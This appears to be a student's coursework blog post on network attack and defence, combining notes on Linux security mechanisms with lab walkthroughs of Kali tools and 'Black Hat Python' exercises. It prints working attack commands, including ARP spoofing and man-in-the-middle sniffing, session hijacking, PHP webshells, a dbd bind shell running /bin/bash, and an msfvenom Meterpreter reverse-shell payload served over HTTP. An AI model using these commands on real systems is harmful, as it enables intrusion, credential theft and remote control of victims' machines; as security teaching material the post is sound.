zoukankan      html  css  js  c++  java
  • 2018-2019-2 20189206 《网络攻防实践》 第八周作业

    2018-2019-2 20189206 《网络攻防实践》 第八周作业


    课本学习

    Linux操作系统基本框架概述

    Linux系统结构

    Linux操作系统包括:Linux内核、一些GUN运行库和工具、命令行shell、图形界面X窗口系统及相应的桌面环境并包括数千种应用软件。

    • Linux进程与线程管理机制

    Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。

    • Linux的内存管理机制

    Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。

    • Linux的文件系统管理机制

    虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。

    • Linux的设备控制机制

    处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。

    • Linux的网络机制

    网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。

    • Linux的系统调用机制

    Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。

    Linux操作系统安全机制

    Linux身份认证

    • Linux用户
      • root用户,系统中是唯一的超级用户,可以操作系统中任何文件与命令
      • 普通用户,由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
      • 系统用户,不具有登录系统的能力,但是是系统运行不可缺少的用户

    用户信息保存在/etc/password文件中,加密口令存放在/etc/shadow/中,只对root可读。

    • Linux用户组

    具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,我们可以通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中。

    • Linux的本地登录用户认证机制

    • Linux的远程登录用户认证机制

    目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供暗中方式的用户身份认证机制:
    - 基于口令的身份认证
    - 基于非对称秘钥的身份认证

    • Linux的统一身份认证中间件——PAM

    作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。

    Linux授权与访问控制机制

    • 文件的所有者

    每个文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明。可以用chown命令来修改。

    • 文件的访问权限

    文件的访问权限通过所附带的10个标志位来进行设置

    - R read读
    - W write写
    - X execute执行
    

    每个用户的专属初始目录权限为rwx------,即只有所有者拥有浏览、删除、修改和进入的权限。

    • 文件的特殊执行权限

    SUID和SGID被称为“特权”。

    - SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源
    - SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源
    
    • Linux访问控制机制的不足及改进

    Linux安全审计机制

    主要通过三个日志子系统来实现

    • 连接时间日志 由多个程序执行,使系统管理员能够跟组谁在何时登录到系统
    • 进程统计日志 当一个进程终止时,为每个进程往进程统计文件中写一个记录
    • 错误日志记录 由通用日志记录服务执行

    Linux系统远程攻防技术

    从远程网络侵入Linux系统的主要方法有如下四种:

    • 对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,从而假冒该用户的身份进入系统
    • 发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行
    • 通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户
    • 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击

    Linux远程口令字猜测攻击

    针对SSH telent FTP HTTP等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。

    支持攻击者进行自动化口令猜测的工具包括:

    • Brutus
    • THC Hydra
    • Caun and Abel

    Linux网络服务远程渗透攻击

    系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。

    • Linux系统安全漏洞、渗透攻击与补丁更新过程

    Linux的“集市”开发模式使得其安全漏洞生命周期有着显著的特征:
    - 黑客们可以使用一些源代码的安全审计技术与辅助工具
    - 黑客们发现Linux系统软件安全漏洞时,他们的报告途径也需分散汇报给相应的开发团队,可以加快安全漏洞的修复进程,但有些漏洞也会被用于渗透攻击,也是造成Linux系统最重要的安全威胁
    - Linux支持apt-get 、yum等在线更新机制,但仍需管理员关注安全漏洞与软件更新情况进行手动升级,通过crond等服务来预制软件升级更新业务

    • 针对Linux系统网络服务的远程渗透攻击
    • Linux内核中的网络协议栈的实现

    Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台,因此一旦这些代码中存在具有远程代码执行危害后果的安全漏洞。

    • LAMP Web网站构建解决方案中的网络服务

    LAMP是目前最流行的web网站构建解决方案,以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为web应用程序的后台数据存储,而以PHP语言来开发与实现web应用程序。正是由于LAMP组合方案在web服务器中的主导地位,使得组合内服务扩展模块成为Linux系统主要的远程攻击渗透目标。

    • FTP Samba等文件共享服务

    Linux系统支持多种不同的文件共享服务协议,例如FTP服务,与Windows的SMB协议相兼容从而支持Windows网络访问Samba服务,以及类UNIX系统中继承而来的NFS服务。这些服务在web网站服务器、企业内部文件服务器等存储有企业组织核心数据资产的关键Linux系统中往往比较常见,因此也成为黑客们破解这些关键系统必须尝试的攻击通道。

    - FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输。
    - Samba是用来让Linux等操作系统与微软Windows系统SMB/CIFS网络协议相连接的网络服务。
    
    • 电子邮件收发服务

    sendmail服务是类UNIX操作系统上最为流行的电子邮件收发服务。

    • 其他网络服务

    其他常用的网络服务有:
    - openssh tcp22
    - openssl tcp443
    - nfs tcp/udp2049
    - snmp tcp161/162
    - sunrpc tcp111
    - bind tcp/udp53
    - x-windows tcp6000

    Linux网络服务远程渗透攻击的安全防范措施

    • 禁用所有不需要的网络服务
    • 尽量选择更加安全的网络协议与服务软件,并使用最佳安全实践进行部署
    • 及时更新网络服务版本
    • 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
    • 建立入侵检测与应急响应计划流程

    攻击Linux客户端程序和用户

    • 攻击Linux平台上的客户端程序

      • web浏览器
      • 电子邮件客户端
    • 攻击Linux用户

    除了利用客户端程序中的安全漏洞实施渗透攻击外,还会对服务器管理员进行Google Hacking获取管理员的各方面信息

    • 针对客户端与用户攻击的安全防范措施
      • Linux用户应尽量保证常用网络客户端软件的及时更新
      • 了解各种社会工程学技术有助于用户提高自身的抗欺骗能力

    攻击Linux路由器和监听器

    • 攻击Linux路由器与防火墙

    • 攻击监听器及入侵检测器

      • snort
      • wireshark
    • 针对路由器与监听器攻击的安全防范措施

      • 网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。
      • 网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段,尝试进行渗透攻击。

    Linux系统本地安全攻防技术

    Linux本地特权提升

    • 攻击者得到本地受限用户访问特权后,最简单的特权提升途径就是破解出Root用户的口令,并执行su sudo命令进行提升
    • 发掘并利用su或sudo程序中的安全漏洞
    • 直接攻击具有root特权程序中任意代码执行漏洞,打开具有root特权的shell命令行
      • 攻击用户态SUID特权提升漏洞
      • 攻击Linux内核代码特权提升漏洞
    • 从系统中搜索全局可写的敏感文件与目录位置并加以利用

    下面分别介绍不同的攻击方式

    • Linux用户口令字破解

    /etc/shadow文件中记录行是与/etc/passwd文件一一对应的,每一行记录着Linux系统中一个用户账户的登录凭证密文信息

    其中最关键的字段是“口令”字段,以“$”作为分隔符,又分为使用算法编号、salt值和加密之后的口令哈希值。

    破解Linux用户口令的前提条件是攻击者可以获得/etc/shadow文件,在攻击者只有受限用户账户时,无法直接读取/etc/shadow文件,但是可以通过利用一些特权运行本地服务进程中的任意文件读/写漏洞,来帮助他们获得口令密文文件的副本。

    • 利用sudo的缺陷进行特权提升
    • 利用用户态SUID程序漏洞进行特权提升
      • 用户态带有SUID特殊权限位的软件是本地特权提升攻击的最主要目标对象之一。
      • 一旦设置了SUID位之后,再执行这个程序,运行进程的有效UID就变成了该程序的所有者用户ID。
      • 针对SUID程序的本地缓冲区溢出攻击
      • 针对SUID程序的符号链接攻击
      • 针对SUID程序的竞争条件攻击
        • 竞争条件漏洞是由于一些程序软件并没有遵循操作的原则特性而存在,在进程操作某个信号量时,可能由于其他进程同时对其操作而造成不可预期的后果
      • 针对SUID程序的共享函数库攻击
        • 共享函数库是类似于Windows系统动态链接库DLL的一种函数库动态加载机制,允许可执行文件在执行阶段从某个公共的函数库中调用一些功能代码片段
      • 利用内核空间代码漏洞进行特权提升
      • 利用系统配置不当实施本地特权提升
      • 针对Linux本地特权提升攻击的防范技术与措施

    Linux系统上的消踪灭迹

    Linux系统的主要审计日志集中的/var/log目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能。攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。

    攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。

    Linux系统远程控制后门程序

    Linux系统上植入远程控制后门程序的类型主要有:

    • 特洛伊木马化系统程序
    • 命令行后门工具以及图形化后门工具

    最常见的Linux系统后门是提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。

    Linux上图形化后门程序,最为常用的是图形化远程控制免费软件VNC。


    视频学习

    kali漏洞利用之检SET

    Social Engineering Toolkit是一个开源、python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击,打开方式在终端输入命令setoolkit

    其中菜单选项分别为:

    • 社会工程学攻击
    • Fast-Track渗透测试
    • 第三方模块
    • 更新metasploit
    • 更新SET
    • 设置set配置
    使用步骤如下
    • 选择选项1,可以看到11个模块
      • 鱼叉式钓鱼攻击
      • 网站攻击
      • 介质感染攻击
      • 创建payload并监听
      • 群发邮件攻击
      • 基于Arduino的攻击
      • 短信欺骗攻击
      • 无线接入点攻击
      • 二维码攻击
      • powershell攻击
      • 第三方模块

    • 鱼叉式钓鱼攻击

    • 攻击向量1是发送存在恶意软件的钓鱼邮件,相应的payload可以选择不同的漏洞

    • 网站攻击框架
      • 开放一个web server服务,让对方访问该页面,若对方系统存在漏洞触发的条件,就会被植入后门。

    • 介质感染攻击
      • 借助Autorun.inf执行Exploit会得到一个返回的shell,也可以结合Metasploit的后门

    • 创建payload和监听器

    • 群发邮件攻击

    • 基于Arduino的攻击
      • 针对硬件设备

    • 短信欺骗攻击
      • 看来这个模块已经不能用了

    • 无线接入点攻击
      • 创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量

    • 二维码攻击

    • powershell攻击

    • 使用选项2 Fast-Track攻击

    kali security 嗅探欺骗与中间人攻击

    Linux下中间人攻击的思路都是一样的,以一次中间人攻击作为演示

    • 为kali设置开启端口转发echo 1 > /proc/sys/net/ipv4/ip_forward
    • 设置ssltrip,
      • 命令iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
      • 让ssltrip在8081端口监听:ssltrip -l 8081

    • ettercap的准备
      ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。其强大之处在于支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。

    在使用前需要将ec_uidec_gid都变为0,将linux下的if you use iptable注释去掉,就可以允许IPtable的转发

    • ettercap图形化界面 ettercpa -G

    - 首先扫描内网信息 Hosts -> Scan for hosts找到网络上的主机
    
    ![](https://img2018.cnblogs.com/blog/1505758/201904/1505758-20190421211905441-568682595.png)
    

    将网关安排至target1 攻击目标安排在target2 。选择 Mitm —> Arp poisoning —> Sniff remote connections。

    选择 Start —> Start sniffing 开始监听,这时目标主机的所有流量都是通过攻击者的主机出去的。当处于同一个局域网的受害者访问网页进行登陆时,密码就可以被记录下来。

    • 使用dsniff套装

    主要是arpspoof和dsniff,其中前者用来进行ARP欺骗,后者用于嗅探,进行攻击的步骤如下

    arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
    
    进行嗅探:
    
    dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
    
    -c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
    -d启动调试模式;
    -f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
    -I使用特定的网络接口;
    -m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
    -n不执行主机查找;
    -r从前面保存的会话中读取被嗅探的数据;
    -s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
    -t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
    
    • 会话劫持
      以cookies举例,说明会话劫持的用法:

      • ARP欺骗: arpspoof -i eth0 -t 192.168.1.1 192.168.1.102
      • 捕获数据包: tcpdump -i wlan -w test.cap
      • 等待目标登录网站,处理捕获的数据包: forret -r test.cap
      • 经过处理的数据包会自动生成hamster.txt之后执行hamster
        会提示浏览器设置代理为http://127.0.0.1:1234
      • 接着在浏览器中代开hamster:http://hamster
      • 选择目标可能的登录认证地址,点击链接发现你已经变成他了
    • 图片截获

    • DNS欺骗
      利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。

    host文件示例:

    127.0.0.1  www.baidu.com
    

    我们将baidu定向到了本机,将其保存成hosts,位于/root目录下

    然后启动dnsspoof: dnsspoof -i eth0 -f /root/hosts

    • URL监控

    利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。

    Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

    • 下载软件监控

    Ussage:filesnarf [-i interface | -p pcapfile]

    kali security 权限维持之后门

    权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。

    • weevely
      • 是一款使用pythoon编写的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。

    • 将后门上传至web,使用weevely连接

      • 在本地Windows上使用mobaxterm的ssh连接远程连接到metasploit上

      • 在/var/www/目录下创建1.php文件

      • 使用weevely就可以控制靶机

    • webacoo

      • 类似的小巧隐蔽的PHP后门,提供了一个可以远程连接web服务器并执行PHP的代码终端。

    • 生成后门

    - 将2.php的内容写进网站
    
    ![](https://img2018.cnblogs.com/blog/1505758/201904/1505758-20190421212003134-1510150036.png)
    
    
    - 使用webacoo连接 `webacoo -t -u http://192.168.199.158/2.php`
    
    • cymothoa 系统后门

      • 首先枚举出有/bin/bash进程的pid
      • cymothoa命令指向该pid并指定一个端口,如果注入成功,可以连接该端口并返回一个shell
    • dbd 对nc的通信过程做加密

      • 监听端:dbd -l 2333 -e /bin/bash -k password
      • 连接端:dbd 127.0.0.1 2333 -k password

    • u3-pwn 针对移动硬件设备

    • intersect

    可以自由添加组件

    添加结束后使用create即可生成shell,在设置参数后,即可看到该后门文件

    执行后门的方法就是执行./1.py -b 使用 nc -nvv 127.0.0.1 5555 连接

    kali security 权限维持之Tunnel

    • crypycat netcat的加密版

    • DNS2TCP

      • 借助DNS隧道传输数据,利用DNS查询建立隧道,传输数据

    • iodine 与DNS2TCP类似

    • miredo

      • 网络工具,主要用于DBS和Linux的IPV6 Teredo隧道连接,可以转换不支持IPv6的网络连接IPv6,内核中需要有ipv6和TUN隧道支持

    • proxychains
      • 内网渗透测试会经常用到

    • proxytunnel
      • 通过标准的HTTPS代理来连接远程服务器,实现了桥接功能,特别用于通过SSH进行HTTPS传输

    • pwnat
      • 实现内网下通过UDP通信

    • socat

      • 可以在不同协议上进行数据转发
    • sslh

      • 一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受HTTPS,SSH和OpenVPN连接。
    • stunnel

    • udptunnel

    kali security 权限维持之逆向工程工具

    • Edb-Debugger

    • ollydbg

      • 动态调试工具,将IDA与SoftICE结合起来的思想。
    • jad

      • Java的反编译工具

    • radare2
      • 开源的逆向工程平台

    • recstudio

    • apktool

      • google提供的apk编译工具,可以反编译及回编译APK,同时安装反编译系统APK所需要的framework-res
    • clang clang++

    • d2j-dex2jar

      • 反编译dex文件,进而可以用其他工具查看源代码

    • flasm

    • javasnop
      • 是一个Java应用程序的安全测试工具,允许以拦截的方法,篡改数据和hack运行在计算机上的Java应用程序


    Python黑帽子

    第七章

    • 创建模块,并使用git提交到GitHub上

    提交后在github上查看,可以看到代码已经提交到了github上

    • 配置过程

      • 进入config目录,新建abc.json文件
    • 基于github通信的木马 注意修改github的相关设置

    运行一直出现错误,重新安装了github3.py包仍然没有解决问题

    第八章

    有趣的键盘记录

    需要安装两个包:pyHook 和 pythoncom 因为上述两个包仅支持Python2.7的32位,所以就在32位Windows系统上进行测试,选择window xp的靶机虚拟机,首先需要安装python环境。下面是环境变量的配置结果以及导入两个包的过程。

    两个包的链接:pyHook-1.5.1.win32-py2.7.exe

    pywin32-219.win32-py2.7.exe

    在DOS下运行脚本,打开一个TXT文本,输入 this is XP!可以看到结果如下,将键盘的输入记录了下来:

    截取屏幕快照

    在命令行中运行screenshotter.py文件,注意修改文件的存储路径screenshot.SaveBitmapFile(mem_dc, 'c:\screenshot.bmp'),结果如下:

    图片内容就是执行该.py文件时桌面的截图

    python方式的shellcode执行

    首先在kali linux中生成32位的Windows后门shellcode:

    msfwenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw

    接着开启Metasploit进行监听反弹的shell

    然后通过以下命令,将shellcode进行base64编码,并利用SimpleHttpServer模块将/tmp目录作为Web服务根目录并建立Web服务器:

    base64 -i win_backdoor.raw > shellcode.bin
    
    python -m SimpleHTTPServer
    

    最后在XP端运行代码

    运行后,在kali中可以看到我们利用SimpleHttpServer模块搭建的建议web服务器上获得了shellcode,此时可以在metasploit渗透框架下看到如下输出:

    这里我出现了一个问题,建立连接后,Meterpreter会话不产生,

    查找论坛后,使用命令sessions查看当前会话的ID,sessions -i ID进入到当前会话即可

    执行命令execute -f calc.exe

    在Windows xp可以看到启动了计算器

    沙盒检测

    该脚本是用于检测运行的环境是否是沙盒,通过监视目标主机最近的用户输入,包括键盘输入和鼠标点击,尝试判断沙盒的管理者是否在重复发送输入信号,对用户与机器最后交互的时间与机器已经开机运行的时间进行对比从而判断是否在沙盒内部运行。

    由于没有搭建沙盒环境没有进行测试。

    代码已经上传到码云,点击这里----> 我的码云:))

  • 相关阅读:
    python query-string处理Query String Parameters参数
    谷歌chrome浏览器大量书签消失,怎么恢复历史?
    VUE懒加载的table前端搜索
    SQL排序分组
    使用sqlparse解析table_name,超级强大,支持子查询, left join等
    20211008杂记
    [BZOJ2216|Luogu P3515] [Poi2011]Lightning Conductor (线性解法)
    矩阵的特征值和特征向量
    dp多维状态的优化
    02-servlet基本介绍访问流程生命周期Service、doGet、doPost
  • 原文地址:https://www.cnblogs.com/zz-1226/p/10747050.html
Copyright © 2011-2022 走看看